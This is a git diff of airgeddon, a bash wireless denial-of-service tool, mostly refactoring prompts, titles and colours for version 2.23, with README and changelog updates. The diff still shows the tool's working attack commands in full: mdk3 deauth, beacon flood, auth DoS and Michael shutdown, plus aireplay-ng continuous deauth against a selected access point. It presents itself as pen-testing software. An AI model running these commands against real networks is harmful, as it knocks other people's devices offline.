diff --git a/README.md b/README.md
index e55331ca2..c9b81c108 100644
--- a/README.md
+++ b/README.md
@@ -2,22 +2,23 @@
This is a DoS (Denial of Service) bash script for wireless networks.
#Requirements
+We say a distro is a 100% compatible Linux distro if it has installed by default all the tools script needs to work.
Tested on these 100% compatible Linux distros:
-Kali. Tested on 2.0 and 2016.1
-Wifislax. Tested on 4.11.1
-
+
Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning:
-iwconfig
-airmon-ng
-airodump-ng
-aireplay-ng
-mdk3
-rfkill
-awk
-
-Other (non 100% compatible) distros tested successfully after installing the missing tools:
--Debian 8 (Jessie)
--Ubuntu 15.10
+iwconfig
+airmon-ng
+airodump-ng
+aireplay-ng
+mdk3
+rfkill
+awk
+
+Other (non 100% compatible) distros tested successfully after installing the missing tools:
+-Debian 8 (Jessie)
+-Ubuntu 15.10
#Disclaimer
This script must be used only for educational purposes and Pen testing.
@@ -32,8 +33,8 @@ Under Wifislax can be used with bash or sh. Example "sh /path/airgeddon.sh"
#Project Collaboration
You can join the project:
-Translations to other languages are welcome.
--More distros support compatibility
--New features
+-More distros support compatibility.
+-New features.
#Changelog
See Changelog file to review changes.
\ No newline at end of file
diff --git a/airgeddon.sh b/airgeddon.sh
index a6034213b..754bd97b1 100644
--- a/airgeddon.sh
+++ b/airgeddon.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-version="2.22"
+version="2.23"
#Change these lines to select another default language
language="english"
@@ -12,14 +12,14 @@ mail="v1s1t0r.1sh3r3@gmail.com"
tools=(iwconfig awk rfkill airmon-ng airodump-ng aireplay-ng mdk3)
#Colors
-green_color="\033[0;32m"
-magenta_color="\033[0;35m"
-white_color="\033[0;37m"
-grey_color="\033[0;37m"
-red_color="\033[0;31m"
-blue_color="\033[0;34m"
-yellow_color="\033[0;33m"
-normal_color="\e[0m"
+green_color="\033[1;32m"
+magenta_color="\033[1;35m"
+white_color="\033[1;37m"
+grey_color="\033[1;37m"
+red_color="\033[1;31m"
+blue_color="\033[1;34m"
+yellow_color="\033[1;33m"
+normal_color="\e[1;0m"
function language_strings() {
@@ -369,6 +369,15 @@ function language_strings() {
arr["english",114]="Use it only on your own networks!!"
arr["spanish",114]="UtilĂzalo solo en tus propias redes!!"
+ arr["english",115]="Press [Enter] key to continue..."
+ arr["spanish",115]="Pulse la tecla [Enter] para continuar..."
+
+ arr["english",116]="Press [Enter] key to start attack..."
+ arr["spanish",116]="Pulse la tecla [Enter] para comenzar el ataque..."
+
+ arr["english",117]="Select target network :"
+ arr["spanish",117]="Selecciona la red objetivo :"
+
case "$3" in
"yellow")
echo_yellow "${arr[$1,$2]}"
@@ -377,77 +386,60 @@ function language_strings() {
echo_blue "${arr[$1,$2]}"
;;
"red")
- ncharstitle=80
- titlechar="*"
- titletext="${arr[$1,$2]}"
- titlelength=${#titletext}
- finaltitle=""
-
- for ((i=0; i < ($ncharstitle/2 - $titlelength+($titlelength/2)); i++)); do
- finaltitle="$finaltitle$titlechar"
- done
-
- finaltitle+="$titletext"
-
- for ((i=0; i < ($ncharstitle/2 - $titlelength+($titlelength/2)); i++)); do
- finaltitle="$finaltitle$titlechar"
- done
-
- if [ $(($titlelength % 2)) -gt 0 ]; then
- finaltitle+="$titlechar"
- fi
- echo_red "$finaltitle"
+ echo_red "${arr[$1,$2]}"
;;
"green")
echo_green "${arr[$1,$2]}"
;;
+ "titlered")
+ generate_title "${arr[$1,$2]}" "red"
+ ;;
+ "read")
+ read -p "${arr[$1,$2]}"
+ ;;
*)
echo "${arr[$1,$2]}"
;;
esac
}
-function do_read() {
+function generate_title() {
- case "$language" in
- "spanish")
- read -p "Pulse la tecla [Enter] para continuar..."
- ;;
- "english")
- read -p "Press [Enter] key to continue..."
- ;;
- *)
- read -p "Press [Enter] key to continue..."
- ;;
- esac
-}
+ ncharstitle=78
+ titlechar="*"
+ titletext=$1
+ titlelength=${#titletext}
+ finaltitle=""
-function do_select_target_read() {
+ for ((i=0; i < ($ncharstitle/2 - $titlelength+($titlelength/2)); i++)); do
+ finaltitle="$finaltitle$titlechar"
+ done
- case "$language" in
- "spanish")
- read -p "Selecciona la red objetivo : " select
- ;;
- "english")
- read -p "Select target network : " select
- ;;
- *)
- read -p "Select target network : " select
- ;;
- esac
-}
+ finaltitle="$finaltitle $titletext "
+
+ for ((i=0; i < ($ncharstitle/2 - $titlelength+($titlelength/2)); i++)); do
+ finaltitle="$finaltitle$titlechar"
+ done
-function do_attack_read() {
+ if [ $(($titlelength % 2)) -gt 0 ]; then
+ finaltitle+="$titlechar"
+ fi
- case "$language" in
- "spanish")
- read -p "Pulse la tecla [Enter] para comenzar el ataque..."
+ case "$2" in
+ "yellow")
+ echo_yellow "$finaltitle"
;;
- "english")
- read -p "Press [Enter] key to start attack..."
+ "red")
+ echo_red "$finaltitle"
+ ;;
+ "blue")
+ echo_blue "$finaltitle"
+ ;;
+ "green")
+ echo_green "$finaltitle"
;;
*)
- read -p "Press [Enter] key to start attack..."
+ echo -e "$finaltitle"
;;
esac
}
@@ -459,18 +451,17 @@ function check_to_set_managed() {
"Managed")
echo
language_strings $language 0 "yellow"
- do_read
+ language_strings $language 115 "read"
return 1
;;
"(Non wifi card)")
echo
language_strings $language 1 "yellow"
- do_read
+ language_strings $language 115 "read"
return 1
;;
esac
return 0
-
}
function check_to_set_monitor() {
@@ -480,13 +471,13 @@ function check_to_set_monitor() {
"Monitor")
echo
language_strings $language 10 "yellow"
- do_read
+ language_strings $language 115 "read"
return 1
;;
"(Non wifi card)")
echo
language_strings $language 13 "yellow"
- do_read
+ language_strings $language 115 "read"
return 1
;;
esac
@@ -500,7 +491,7 @@ function check_monitor_enabled() {
if [[ $mode != "Monitor" ]]; then
echo
language_strings $language 14 "yellow"
- do_read
+ language_strings $language 115 "read"
return 1
fi
return 0
@@ -538,7 +529,7 @@ function managed_option() {
echo
language_strings $language 16 "yellow"
- do_read
+ language_strings $language 115 "read"
}
function monitor_option() {
@@ -558,7 +549,7 @@ function monitor_option() {
if [ "$?" != "0" ]; then
echo
language_strings $language 20 "yellow"
- do_read
+ language_strings $language 115 "read"
return
fi
@@ -576,7 +567,7 @@ function monitor_option() {
echo
language_strings $language 22 "yellow"
- do_read
+ language_strings $language 115 "read"
}
function check_interface_mode() {
@@ -610,14 +601,14 @@ function check_interface_mode() {
fi
language_strings $language 23 "yellow"
- do_read
+ language_strings $language 115 "read"
exit_script_option
}
function language_option() {
clear
- language_strings $language 87 "red"
+ language_strings $language 87 "titlered"
language_strings $language 81 "green"
echo
language_strings $language 79
@@ -628,12 +619,12 @@ function language_option() {
1)
language="english"
language_strings $language 83 "yellow"
- do_read
+ language_strings $language 115 "read"
;;
2)
language="spanish"
language_strings $language 84 "yellow"
- do_read
+ language_strings $language 115 "read"
;;
*)
invalid_language_selected
@@ -644,13 +635,12 @@ function language_option() {
function select_interface() {
clear
- language_strings $language 88 "red"
+ language_strings $language 88 "titlered"
language_strings $language 24 "green"
echo
ifaces=`ip link|egrep "^[0-9]+"|cut -d ':' -f 2|awk {'print $1'}|grep lo -v`
option_counter=0
- for item in $ifaces
- do
+ for item in $ifaces; do
option_counter=$[option_counter + 1]
echo "$option_counter. $item"
done
@@ -661,8 +651,7 @@ function select_interface() {
invalid_iface_selected
else
option_counter2=0
- for item2 in $ifaces
- do
+ for item2 in $ifaces; do
option_counter2=$[option_counter2 + 1]
if [[ "$iface" = "$option_counter2" ]]; then
interface=$item2
@@ -730,7 +719,7 @@ function ask_essid() {
function exec_mdk3deauth() {
echo
- language_strings $language 89 "red"
+ language_strings $language 89 "titlered"
language_strings $language 32 "green"
rm -rf /tmp/bl.txt > /dev/null 2>&1
@@ -738,76 +727,76 @@ function exec_mdk3deauth() {
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "mdk3 amok attack" -e mdk3 $interface d -b /tmp/bl.txt -c $channel
}
function exec_aireplaydeauth() {
echo
- language_strings $language 90 "red"
+ language_strings $language 90 "titlered"
language_strings $language 32 "green"
$airmon start $interface $channel > /dev/null 2>&1
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a $bssid --ignore-negative-one $interface
}
function exec_wdsconfusion() {
echo
- language_strings $language 91 "red"
+ language_strings $language 91 "titlered"
language_strings $language 32 "green"
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "wids / wips / wds confusion attack" -e mdk3 $interface w -e $essid -c $channel
}
function exec_beaconflood() {
echo
- language_strings $language 92 "red"
+ language_strings $language 92 "titlered"
language_strings $language 32 "green"
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "beacon flood attack" -e mdk3 $interface b -n $essid -c $channel -s 1000 -h
}
function exec_authdos() {
echo
- language_strings $language 93 "red"
+ language_strings $language 93 "titlered"
language_strings $language 32 "green"
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "auth dos attack" -e mdk3 $interface a -a $bssid -m -s 1024
}
function exec_michaelshutdown() {
echo
- language_strings $language 94 "red"
+ language_strings $language 94 "titlered"
language_strings $language 32 "green"
echo
language_strings $language 33 "blue"
- do_attack_read
+ language_strings $language 116 "read"
xterm +j -sb -rightbar -geometry 119x35+350+350 -T "michael shutdown attack" -e mdk3 $interface m -t $bssid -w 1 -n 1024 -s 1024
}
function mdk3_deauth_option() {
echo
- language_strings $language 95 "red"
+ language_strings $language 95 "titlered"
language_strings $language 35 "green"
check_monitor_enabled
@@ -826,7 +815,7 @@ function mdk3_deauth_option() {
function aireplay_deauth_option() {
echo
- language_strings $language 96 "red"
+ language_strings $language 96 "titlered"
language_strings $language 36 "green"
check_monitor_enabled
@@ -845,7 +834,7 @@ function aireplay_deauth_option() {
function wds_confusion_option() {
echo
- language_strings $language 97 "red"
+ language_strings $language 97 "titlered"
language_strings $language 37 "green"
check_monitor_enabled
@@ -864,7 +853,7 @@ function wds_confusion_option() {
function beacon_flood_option() {
echo
- language_strings $language 98 "red"
+ language_strings $language 98 "titlered"
language_strings $language 38 "green"
check_monitor_enabled
@@ -883,7 +872,7 @@ function beacon_flood_option() {
function auth_dos_option() {
echo
- language_strings $language 99 "red"
+ language_strings $language 99 "titlered"
language_strings $language 39 "green"
check_monitor_enabled
@@ -901,7 +890,7 @@ function auth_dos_option() {
function michael_shutdown_option() {
echo
- language_strings $language 100 "red"
+ language_strings $language 100 "titlered"
language_strings $language 40 "green"
check_monitor_enabled
@@ -921,7 +910,7 @@ function print_selections() {
if [ -z "$interface" ]; then
language_strings $language 41 "blue"
echo
- do_read
+ language_strings $language 115 "read"
select_interface
menu_options
else
@@ -947,7 +936,7 @@ function print_selections() {
function menu_options() {
clear
- language_strings $language 101 "red"
+ language_strings $language 101 "titlered"
current_menu="main"
print_selections
echo
@@ -1015,7 +1004,7 @@ function menu_options() {
function old_attacks_menu() {
clear
- language_strings $language 102 "red"
+ language_strings $language 102 "titlered"
current_menu="old"
print_selections
echo
@@ -1082,7 +1071,7 @@ function old_attacks_menu() {
function explore_neighbourhood_option() {
echo
- language_strings $language 103 "red"
+ language_strings $language 103 "titlered"
language_strings $language 65 "green"
check_monitor_enabled
@@ -1094,7 +1083,7 @@ function explore_neighbourhood_option() {
language_strings $language 66 "yellow"
echo
language_strings $language 67 "yellow"
- do_read
+ language_strings $language 115 "read"
rm -rf /tmp/nws* > /dev/null 2>&1
rm -rf /tmp/clts.csv > /dev/null 2>&1
@@ -1109,7 +1098,7 @@ function explore_neighbourhood_option() {
if [ $csvline -le 3 ]; then
echo
language_strings $language 68 "yellow"
- do_read
+ language_strings $language 115 "read"
return
fi
@@ -1150,7 +1139,7 @@ function explore_neighbourhood_option() {
function select_target() {
clear
- language_strings $language 104 "red"
+ language_strings $language 104 "titlered"
language_strings $language 69
echo_blue "-------------------------------------------------------"
i=0
@@ -1199,31 +1188,33 @@ function select_target() {
echo
if [ $i -eq 1 ]; then
language_strings $language 70 "yellow"
- select=1
- do_read
+ select_target_network=1
+ language_strings $language 115 "read"
else
language_strings $language 71
echo_blue "-------------------------------------------------------"
echo
- do_select_target_read
+ language_strings $language 117 "green"
+ read selected_target_network
fi
- while [[ $select -lt 1 ]] || [[ $select -gt $i ]]; do
+ while [[ $selected_target_network -lt 1 ]] || [[ $selected_target_network -gt $i ]]; do
echo
language_strings $language 72 "yellow"
echo
- do_select_target_read
+ language_strings $language 117 "green"
+ read selected_target_network
done
- essid=${network_names[$select]}
- channel=${channels[$select]}
- bssid=${macs[$select]}
+ essid=${network_names[$selected_target_network]}
+ channel=${channels[$selected_target_network]}
+ bssid=${macs[$selected_target_network]}
}
function credits_option() {
clear
- language_strings $language 105 "red"
+ language_strings $language 105 "titlered"
language_strings $language 73 "green"
echo -e $blue_color" ____ ____ __ _______"
echo -e "___ _/_ | _____/_ |/ |_ \ _ \_______"
@@ -1246,7 +1237,7 @@ function credits_option() {
echo
language_strings $language 85 "green"
language_strings $language 107 "green"
- do_read
+ language_strings $language 115 "read"
}
function invalid_language_selected() {
@@ -1254,7 +1245,7 @@ function invalid_language_selected() {
echo
language_strings $language 82 "yellow"
echo
- do_read
+ language_strings $language 115 "read"
echo
language_option
}
@@ -1263,7 +1254,7 @@ function invalid_menu_option() {
echo
language_strings $language 76 "yellow"
- do_read
+ language_strings $language 115 "read"
}
function invalid_iface_selected() {
@@ -1271,7 +1262,7 @@ function invalid_iface_selected() {
echo
language_strings $language 77 "yellow"
echo
- do_read
+ language_strings $language 115 "read"
echo
select_interface
}
@@ -1282,7 +1273,7 @@ function killing_script() {
echo
language_strings $language 12 "yellow"
echo
- do_read
+ language_strings $language 115 "read"
if [ "$current_menu" = "main" ]; then
menu_options
@@ -1294,7 +1285,7 @@ function killing_script() {
function exit_script_option() {
echo
- language_strings $language 106 "red"
+ language_strings $language 106 "titlered"
language_strings $language 11 "blue"
echo
exit
@@ -1354,7 +1345,7 @@ function detect_distro() {
return
fi
- do_read
+ language_strings $language 115 "read"
exit_script_option
}
@@ -1371,7 +1362,7 @@ function check_compatibility() {
language_strings $language 5 "yellow"
language_strings $language 108 "yellow"
- do_read
+ language_strings $language 115 "read"
echo
language_strings $language 109 "blue"
toolsok=1
@@ -1407,7 +1398,7 @@ function welcome() {
clear
current_menu="main"
- language_strings $language 86 "red"
+ language_strings $language 86 "titlered"
language_strings $language 6 "blue"
echo
language_strings $language 7 "green"
@@ -1417,7 +1408,7 @@ function welcome() {
language_strings $language 9 "blue"
echo
detect_distro
- do_read
+ language_strings $language 115 "read"
select_interface
menu_options
@@ -1425,30 +1416,22 @@ function welcome() {
function echo_green() {
- tput setaf 2; tput setab 0;
- echo $*
- tput sgr0
+ echo -e $green_color"$*"$normal_color
}
function echo_blue() {
- tput setaf 4; tput setab 0;
- echo $*
- tput sgr0
+ echo -e $blue_color"$*"$normal_color
}
function echo_yellow() {
- tput setaf 3; tput setab 0;
- echo $*
- tput sgr0
+ echo -e $yellow_color"$*"$normal_color
}
function echo_red() {
- tput setaf 1; tput setab 0;
- echo $*
- tput sgr0
+ echo -e $red_color"$*"$normal_color
}
trap killing_script INT
diff --git a/changelog.txt b/changelog.txt
index 9bbc4e75b..8e6eab051 100644
--- a/changelog.txt
+++ b/changelog.txt
@@ -1,58 +1,64 @@
-1.0
-Initial commit
+2.23
+Read "pause" functions now integrated with language strings
+Title generator extracted to function
+Improvements on colors
+Changelog order changed. New changes now upper
-1.01
-Detect distro functionality included
-Kali and Wifislax Linux compatibility
-Rfkill added
+2.22
+Minor print fail in ascii art at credits fixed
+Disclaimer and requirements updated
+Some typo errors fixed
+Changes on compatibility check structure
+Ubuntu and Debian Linux compatibility check added
-1.02
-Improved echo messages and colors
-aireplay deauth attack included
-monitor and managed options added
+2.21
+Compatibility Wifislax 64bits bug fixed
+Removed version from Readme file
-1.03
-Secondary xterm windows added
-Explore neighbourhood feature included
-Code improvements
+2.2
+Changes to manage Wifislax airmon command in a better way
-2.0
-Code restructuration
-WIDS confusion attack added
-Old attacks menu included
-Traps managing feature
+2.11
+More color features
+Compatibility check minor bug fixed
-2.01
-Multilanguage support feature included
-English and Spanish languages added
+2.1
+Compatibility check at beginning to support more distros
+Changelog file added to project
+
+2.03
+Interface detection method changed
+Fixed bug for Kali 2016.1
2.02
-Menu titles improvement